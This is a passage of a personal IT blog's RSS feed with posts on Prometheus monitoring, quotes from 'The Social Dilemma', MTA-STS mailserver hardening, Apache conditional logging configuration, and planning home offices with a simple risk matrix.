&lt;p>&lt;strong>All customers with &amp;ldquo;managed&amp;rdquo; cloud-, web- or conference servers are automatically included in my monitoring. Customers under support contracts will receive a free installation from January 1st, 2021 on if they provide a suitable system (SSH access on VM or bare-metal) including integration of all bare-metal servers located within the same network segment. Of course there is a corresponding Grafana dashboard on top.&lt;/strong>&lt;/p>
&lt;p>By the way: The scraping of log data should - even if possible&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> - not be done. In general this should not be performed on any monitoring application. There are better tools for this job, for instance ElasticSearch.&lt;/p>
&lt;p>Due to data protection I deliberately refrain from saving log data permanently. Most of my logs will be deleted after 24h, depends on SLA.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://landing.google.com/sre/sre-book/chapters/monitoring-distributed-systems/">https://landing.google.com/sre/sre-book/chapters/monitoring-distributed-systems/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://prometheus.io/">https://prometheus.io/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://www.cncf.io/about/members/">https://www.cncf.io/about/members/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://grafana.com/">https://grafana.com/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://thenewstack.io/exploring-prometheus-use-cases-brian-brazil/">https://thenewstack.io/exploring-prometheus-use-cases-brian-brazil/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://www.robustperception.io/scaling-and-federating-prometheus">https://www.robustperception.io/scaling-and-federating-prometheus&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://github.com/google/mtail">https://github.com/google/mtail&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>A treasure of powerful quotes</title><link>https://blog.jakobs.systems/en/micro/20201020-quote-of-the-day/</link><pubDate>Tue, 20 Oct 2020 09:09:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201020-quote-of-the-day/</guid><description>Quotes from the movie The Social Dilemma 2020</description><category>Software</category><category>SEO</category><category>Quote</category><content>&lt;p>For my presentations and webinars I am always looking for good quotations. A treasure of them, I found yesterday evening in the Netflix documentary &amp;ldquo;The Social Dilemma&amp;rdquo;&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>, of course in the original English version. I do not know the German translation. Some of those quotes I would like to share with you but not without first saying something about their context.&lt;/p>
&lt;p>Besides the inventors of the &amp;ldquo;Like-Button&amp;rdquo;&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> and the &amp;ldquo;Infinite Scroll&amp;rdquo;, the documentary features numerous software developers, managers up to the highest levels of management, venture investors from Google, Twitter and Facebook, as well as a lot of scientists and civil rights activists. Shoshana Zuboff&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>, US economist and professor emeritus of Business Administration at Harvard Business School, is also among them. With her book &amp;ldquo;The Age of Surveillance Capitalism&amp;rdquo;&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, she has written what is considered as the most important reference on tech industry.&lt;/p>
&lt;p>The first powerful quote for reflection comes from Edward Tufte&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>, information scientist and graphic designer, who gave evidence how the use of Microsoft PowerPoint correlates with a loss of information, which was a contributing factor in NASA&amp;rsquo;s Columbia shuttle disaster&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>.&lt;/p>
&lt;blockquote>
&lt;p>There are only two industries that call their customers &amp;lsquo;users&amp;rsquo;: illegal drugs and software.&lt;/p>
&lt;/blockquote>
&lt;p>Another power quote is from no other than Tim Kendall. If not him, who else could give a statement about the so-called social media. He was Director of Monetarization at Facebook for 5 years and President and Chief Business Executive at Pinterest for almost 6 years. In 2017, he was shocked to see how the technologies he created made young people addicted and depressed. Today he tries to help people from their smartphone addiction with his project Moment&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> and invests in other projects, that promote this aswell. Tim Kendall says:&lt;/p>
&lt;blockquote>
&lt;p>These Services are killing people and causing them killing themselves.&lt;/p>
&lt;/blockquote>
&lt;p>This quote is accompanied by scientists and doctors who talk about addictive behaviour and especially about the 150% increase in suicide rates among young girls between 7 and 15 years of age compared to the period before social media.&lt;/p>
&lt;p>The following quotes are from Tristan Harris, a former and long-time Google Design Ethicist&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>:&lt;/p>
&lt;blockquote>
&lt;p>We built a system which is biased on false information, because we&amp;rsquo;re getting more money with it.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>We in the tech industry created tools used to destablize democracy, to bring the worst into society.&lt;/p>
&lt;/blockquote>
&lt;p>Clear recommendation to watch the documentation! It would be even better not to use any of those so-called social media at all. I have been practising this for several years.&lt;/p>
&lt;p>P.S. Mike Kuketz shows on his website a small&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.thesocialdilemma.com/">https://www.thesocialdilemma.com/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Like_(Button)">https://de.wikipedia.org/wiki/Like_(Button)&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Shoshana_Zuboff">https://de.wikipedia.org/wiki/Shoshana_Zuboff&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://www.campus.de/buecher-campus-verlag/wirtschaft-gesellschaft/wirtschaft/das_zeitalter_des_ueberwachungskapitalismus-15097.html">https://www.campus.de/buecher-campus-verlag/wirtschaft-gesellschaft/wirtschaft/das_zeitalter_des_ueberwachungskapitalismus-15097.html&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Edward_Tufte">https://de.wikipedia.org/wiki/Edward_Tufte&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>page 191, &lt;a href="https://spaceflight.nasa.gov/shuttle/archives/sts-107/investigation/CAIB_medres_full.pdf">https://spaceflight.nasa.gov/shuttle/archives/sts-107/investigation/CAIB_medres_full.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>🚫 &lt;a href="https://inthemoment.io/">https://inthemoment.io/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Tristan_Harris">https://en.wikipedia.org/wiki/Tristan_Harris&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>RFC 8461 MTA-STA</title><link>https://blog.jakobs.systems/en/micro/20201019-rfc8461-mta-sta/</link><pubDate>Mon, 19 Oct 2020 08:00:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201019-rfc8461-mta-sta/</guid><description>Improving myself</description><category>Mailserver</category><category>Server</category><category>Concepts</category><content>&lt;p>This weekend I was very active in improving my own security. I have also found two neat tools for quality testing which are Hardenize&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> and DNSViz&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> - both added to my &lt;a href="https://blog.jakobs.systems/micro/20200816-website-qualitaet/">Micro-Blog post &amp;ldquo;Measuring website quality&amp;rdquo;&lt;/a>.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/hardenize.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/hardenize.webp#c" alt="Screenshot Online test with Hardenize" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>On my own mailserver I have implemented MTA-STA according to RFC 8461&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> incl. reporting. This standard is quite new (2018) and is particularly suitable for servers without DANE&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>However, even without DANE I believe that I have the best and most complete server by standards (DKIM, SPF, DMARC, MTA-SRA, TLS-RPT, TLS1.3) in the entire Sieger- and Sauerland.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/mailserver-test2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/mailserver-test2.webp#c" alt="Screenshot of my mail server results" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Whoever has a better mailserver or who knows somebody else, please contact me. Of course, if you want one too, you may do this aswell ;-)&lt;/p>
&lt;p>I wish you a successful kick-off into the new week!&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://hardenize.com/">https://hardenize.com/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://dnsviz.net/">https://dnsviz.net/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://tools.ietf.org/html/rfc8461">https://tools.ietf.org/html/rfc8461&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://tools.ietf.org/html/draft-ietf-dane-protocol-23">https://tools.ietf.org/html/draft-ietf-dane-protocol-23&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Conditional Logging with Apache</title><link>https://blog.jakobs.systems/en/micro/20201018-prometheus-apache-logs/</link><pubDate>Sun, 18 Oct 2020 12:20:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201018-prometheus-apache-logs/</guid><description>How to prevent background-noice with your Prometheus Apache Exporter</description><category>Prometheus</category><category>Apache</category><category>Server</category><category>Opensource</category><content>&lt;p>I&amp;rsquo;ve started using Apache-Exporter&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> for monitoring and checking this weekend how useful it is and how it can be integrated into my Prometheus&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> monitoring enviroment. The server-status requests inevitably lead to more &amp;ldquo;background noise&amp;rdquo; in the Apache logfiles. The screenshot below clearly shows in the upper less section:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/prometheus-apache-exporter.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/prometheus-apache-exporter.webp#c" alt="Screenshot" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Of course the requests cannot be prevented, but you can manipulate what Apache writes in its logfiles. It&amp;rsquo;s called conditional logging and allows you to set variables with SetEnvIf&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> to any regex on each request. With SetEnvIfExpr it is even possible to perform expressions&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, for instance to check if a request comes from your inside network segments:&lt;/p>
&lt;pre tabindex="0">&lt;code>SetEnvIfExpr &amp;#34;-R &amp;#39;10.0.0.0/8&amp;#39; || -R &amp;#39;172.16.0.0/12&amp;#39; || -R &amp;#39;192.168.0.0/16&amp;#39;&amp;#34; isInternal
&lt;/code>&lt;/pre>&lt;p>In my case I set the variable &amp;ldquo;dontlog&amp;rdquo; on all Server-Status requests and exclude it explicitly in the logging:&lt;/p>
&lt;pre tabindex="0">&lt;code>SetEnvIf Request_URI &amp;#34;^/server-status(.*)$&amp;#34; dontlog
CustomLog ${APACHE_LOG_DIR}/other_vhosts_access.log vhost_combined env=!dontlog
&lt;/code>&lt;/pre>&lt;p>Further regex statements e.g. for certain file extensions are possible aswell but should be done with caution. Ultimately, too many exceptions tend to make a usually sharp tool for debugging less reliable.&lt;/p>
&lt;p>Never trust a log unless it comes from yourself!&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://github.com/Lusitaniae/apache_exporter">https://github.com/Lusitaniae/apache_exporter&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://prometheus.io/">https://prometheus.io/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://httpd.apache.org/docs/2.4/mod/mod_setenvif.html">https://httpd.apache.org/docs/2.4/mod/mod_setenvif.html&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://httpd.apache.org/docs/2.4/expr.html">https://httpd.apache.org/docs/2.4/expr.html&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Working in your Homeoffice - Part III</title><link>https://blog.jakobs.systems/en/blog/20201016-homeoffice/</link><pubDate>Fri, 16 Oct 2020 18:50:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201016-homeoffice/</guid><description>How to plan and implement a Home Office</description><category>Digitalisation</category><category>Concepts</category><category>Risks</category><content>&lt;p>The third and last part of my little blog series is all about planning and implementation. Inevitably, we come into contact with project management and other underlying factors. I keep my promise from part one and finally show a blueprint for risk assessment.&lt;/p>
&lt;p>I hope you enjoy the read! As always, the following disclaimer applies: Everything without any claim to completeness and universal validitiy. Your mileage may vary!&lt;/p>
&lt;h2 id="dont-ask-your-it-departement">Don&amp;rsquo;t ask your IT Departement&lt;/h2>
&lt;p>Where to go when it all comes down to workingplaces at home? To your IT Department?&lt;/p>
&lt;p>No way! What to expect from somebody living Groundhog Day every morning, without experience beyond his own horizon? Of course, I&amp;rsquo;m aware of not making friends with such a sentence. Please let me rephrase:&lt;/p>
&lt;p>Where are highly qualified, expensive software engineers, admins or IT experts allowed to play around and experiment freely on at least one weekday per week without any cost- or time-pressure and without any recognisable connection to their company?&lt;/p>
&lt;p>The study &amp;ldquo;Success Criteria for Corporate Digitisation&amp;rdquo;&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> conducted by the Fraunhofer Institute for Industrial Engineering IAO has examined companies of different sectors and sizes throughout Germany:&lt;/p>
&lt;blockquote>
&lt;p>An IT department is not a main driver of digital transformation&lt;/p>
&lt;/blockquote>
&lt;p>It only plays a role in digitisation campaigns when it comes to operational issues and only then, when&amp;hellip;&lt;/p>
&lt;blockquote>
&lt;p>(&amp;hellip;) Tekkies are granted time, space and budget.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>Trying things out in as many and different places as possible (&amp;hellip;) even if some projects fail.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>It is good if there is enough time for playful development without economic needs or incentives for action.&lt;/p>
&lt;/blockquote>
&lt;h2 id="commitment-of-the-top-managment">Commitment (of the Top-Managment)&lt;/h2>
&lt;p>No need to explain how these quotes resonate within the management. Space for free-spirits leads to snap breaths in HR and causes headaches among financial executives. Mid-level management is concerned about their influence. Quite reasonably when self-organising project teams have a say and make decisions on an equal basis. A home-based office is cutting through the a culture of presence, where colorful peacocks see their internal corporate fiefdom threatened.&lt;/p>
&lt;p>Of course I am writing in stereotypes and using heuristics. But these are in line with what Sven Rimmelspacher, managing shareholder of Pickert &amp;amp; Partner, says in the same Fraunhofer study:&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>We need more leadership than before, but fewer leaders.&lt;/p>
&lt;/blockquote>
&lt;p>He consequently speaks of abolishing mid-level management and traditional departments. At the same time, he is advocating the strengthening of cross-functional and self-organised project teams and freelance individuals without belonging to any department. There is no need for disciplinary management anymore, leadership roles are taken over by agile teams. So why hire a human resources manager when project teams do the job more efficiently, reliably and quicker?&lt;/p>
&lt;p>These are the structural weak spots and unspoken underlying factors that resonate in the background when it comes to the subject of home offices. Before swimming with the sharks in unknown waters, everyone should be aware of this.&lt;/p>
&lt;p>&lt;strong>Digitisation projects usually fail along these breaking points.&lt;/strong>&lt;/p>
&lt;p>Without backup of the top management, nothing will run! A weak, diffuse, half-hearted commitment, and it&amp;rsquo;s time to leave the ship.&lt;/p>
&lt;h2 id="home-office-project-team">Home Office Project Team&lt;/h2>
&lt;p>Small and highly powerful teams, made up of individuals on an equal level and with varying roles and representatives on the outside, the product owners&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> form the ideal digital cluster&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>. Multiple teams may also work simultaneously on the same project. Not unusual in pentesting IT infrastructures with a red team as attacker and a blue team as defender. The findings are then brought together and jointly evaluated.&lt;/p>
&lt;p>Furthermore, it&amp;rsquo;s important to gain input and cooperation from the outside world either occasionally or on a permanent basis as coach, mentor or project manager. Last year, for instance, I was called in by a construction company for their BIM digitalisation&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> with Autodesk REVIT. The task was to establish and commission an infrastructure that integrates seamlessly into the existing one. This isn&amp;rsquo;t a job for vendors or any resellers. In strong contrast to bought-in solutions &amp;ldquo;off the shelf&amp;rdquo; or from the cloud, the know-how and technology remains within the company.&lt;/p>
&lt;p>Unfortunately, according to the Fraunhofer study, only just over a third of companies manage this&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>. Despite the fact that agility&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> has been taught at universities for many years.&lt;/p>
&lt;h2 id="communication-and-document-management">Communication and Document Management&lt;/h2>
&lt;p>Let&amp;rsquo;s assume the commitment of the management and successful formation of a project team. What&amp;rsquo;s next?&lt;/p>
&lt;p>It&amp;rsquo;s essential for a team to be able to communicate with each other and others, to access common data and to control documents. Without everything must be built up first. Unfortunately, many still use their computers as quite a substitute for typewriters accessing directory structures on SMB-Shares like filing cabinets. In my eyes, the typical QM/QS structured directories are a nightmare, where often files and folders have been given spaces, underscores or A, AAA or AAAAA prefixes in order to make them appear topmost in Windows Explorer.&lt;/p>
&lt;p>This creates pain inside me, but simultaneously it is buggy, not flexible, not portable and bears the flaw of classic client-server architectures&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>: The last one always overwrites all previous versions. Without a version control system, no branches and forks in a course of a project can be represented. Instead of small diffs, whole file and directory structures must be transferred. This is quite toxic for every mobile workstation with a weak internet connection.&lt;/p>
&lt;p>As developer I use a proven git&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> technology. An own server is quickly set up&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> with gitea&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> and allows easy access via web frontend even for non-software developers for non-software projects. Once agreed on Markdown&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> and UML&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> as document formats, all problems with proprietary and binary document formats are eliminated instantly.&lt;/p>
&lt;p>Though it doesn&amp;rsquo;t need to be git. The basic version control of a Nextcloud&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> also works. Chats and video conferences are quite close and handy. The integration with other collaborative apps are very appealing.&lt;/p>
&lt;p>Of course, tools like Mattermost&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> and others are suitable for communication aswell thought they have to be free, self-hosted and without any data flow to third parties. Less is more! The Golem article &amp;ldquo;An der falschen Stelle automatisiert&amp;rdquo;&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup> sums everything up in just one sentence:&lt;/p>
&lt;blockquote>
&lt;p>We destroy (&amp;hellip;) productivity and personal comfort if we constantly try to follow trends and still fail to keep current.&lt;/p>
&lt;/blockquote>
&lt;h2 id="teams-slack-discord--zoom-are-not-recommended">Teams, Slack, Discord &amp;amp; Zoom are not recommended&lt;/h2>
&lt;p>Tools like Microsoft Teams, Slack, Discord, Zoom &amp;amp; more are not suitable for project management in my opinion due to the fact that:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>There are serious security incidents&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup> and unresolved privacy issues&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup> However the DSGVO is not my biggest concern at all. Would anybody please explain me how to use something with a signed, penalty-based NDA where, according to EULA and Privacy Policies, the transfer and unrestricted use of data by third parties takes place?&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Neither of the mentioned products above solve the problem of archiving or compliance. How to deal with the GoBD?&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup> In a nutshell: Chat histories, transfered files or assets must remain retrievable for 6 or 10 years. Proprietary, non-free file formats or webservices, which are abandoned by manufacturers at their own discretion, are in stark opposition to this requirement. You are not in control of the data. A recent example of this is the management consultancy KPMG. Chat histories including files of 145,000 employees were instantly lost by a single mouse click&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>The business models aiming for a vendor lock-in&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup> with constantly rising costs. Once one leg in and the &amp;ldquo;rules of engagement&amp;rdquo; will be subtly changed over time with a lot of nudging&lt;sup id="fnref:23">&lt;a href="#fn:23" class="footnote-ref" role="doc-noteref">23&lt;/a>&lt;/sup>. This is evident, for example, in important functions, suddenly migrated from an existing &amp;ldquo;Pro&amp;rdquo; license to a more expensive, newly created &amp;ldquo;Enterprise&amp;rdquo; license. That&amp;rsquo;s called opportunistic exploitation of information asymmetry&lt;sup id="fnref:24">&lt;a href="#fn:24" class="footnote-ref" role="doc-noteref">24&lt;/a>&lt;/sup>. Greetings from George Akerlov and his downward spiral of death&lt;sup id="fnref:25">&lt;a href="#fn:25" class="footnote-ref" role="doc-noteref">25&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h2 id="risk-algebra">Risk-Algebra&lt;/h2>
&lt;p>Whatever might be dropped out at the end of a project, nothing happens without coordination with information security. This doesn&amp;rsquo;t automatically mean that an extensive risk analysis has to be conducted.&lt;/p>
&lt;p>Just one example: If an employee at home is supposed to get a computer from his company which is completely isolated from the corporate network and merely retrieves mails via webmailer (with 2FA) then the common market standard is quite acceptable. Even with a thick layer of snakeoil if someone feels more secure with that. Further hardenings and an extensive risk analysis would be a waste of time. The simple rule-of-thumb is: If no danger, then there is no risk.&lt;/p>
&lt;p>How is this best described and visualized? Well, quite simply by using the following calculation and a couple of auxiliary charts, which I offer &lt;a href="https://blog.jakobs.systems/pdf/risikomatrix.pdf">here for download&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Risk = Potential damage x Probability of occurrence&lt;/strong>&lt;/p>
&lt;/blockquote>
&lt;p>Let us look at the maximum amount of damage to be expected and note the number of points achieved.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/risikomatrix-schaden.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/risikomatrix-schaden.webp#c" alt="Tabelle Schadenshöhe" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Now things become a little more tricky. We estimate the probability of occurrence. The line with the most applicable statements wins. Please note the score as well.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/risikomatrix-wahrscheinlichkeit.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/risikomatrix-wahrscheinlichkeit.webp#c" alt="Tabelle Wahrscheinlichkeit" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Now let&amp;rsquo;s multiply both numbers and compare the result to this chart.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/risikomatrix-risiko.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/risikomatrix-risiko.webp#c" alt="Tabelle Risikobestimmung" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>In our example I get a value of 2, which means low risk. Applied to the following coloured risk matrix, it is immediately obvious we are in the green segment and clear.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/risikomatrix.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/risikomatrix.webp#c" alt="Tabelle Risikobestimmung" loading="lazy"/>&lt;/picture>
&lt;/p>
